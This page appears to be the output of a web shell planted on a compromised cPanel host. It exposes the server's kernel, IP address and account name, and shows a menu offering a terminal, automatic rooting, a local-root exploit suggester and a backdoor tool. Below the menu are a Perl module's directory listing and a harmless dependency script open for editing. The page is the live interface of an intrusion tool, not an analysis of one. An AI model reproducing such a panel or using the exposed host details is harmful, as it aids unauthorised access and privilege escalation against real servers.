Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Module-CoreList /
Delete
Unzip
Name
Size
Permission
Date
Action
blib
[ DIR ]
drwxr-xr-x
2016-10-10 17:37
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
t
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
Changes
11.82
KB
-r--r--r--
2015-02-14 16:25
MANIFEST
347
B
-r--r--r--
2014-12-27 11:48
Makefile
24.42
KB
-rw-r--r--
2016-10-10 17:37
Makefile.PL
1.38
KB
-r--r--r--
2014-12-27 11:48
README
1.05
KB
-r--r--r--
2014-12-27 11:48
corelist
12.4
KB
-r--r--r--
2014-12-27 11:48
identify-dependencies
666
B
-r--r--r--
2014-12-27 11:48
pm_to_blib
0
B
-rw-r--r--
2016-10-10 17:37
Save
Rename
#!/usr/local/perl5.6.1/bin/perl -w use strict; use warnings; use Module::CoreList; use vars qw/%modules/; my @files = @ARGV; unless (@files) { print "$0: using test scripts\n"; @files = grep { -e $_ } 'test.pl', glob 't/*.t'; } print "$0: checking ", join(', ', @files), "\n"; my @used; for (@files) { open my $fh, "$^X -Mblib -MModule::CoreList=dumpinc $_|" or die "couldn't fork $!"; while (<$fh>) { last if /^---INC---/ } push @used, map { chomp; s{/}{::}g; s{\.pm$}{}; $_ } <$fh>; } *modules = \%Module::CoreList::version; my %uniq = map { $_ => 0 } grep { !exists $modules{$]}{$_} } @used; use Data::Dumper; print Dumper \%uniq;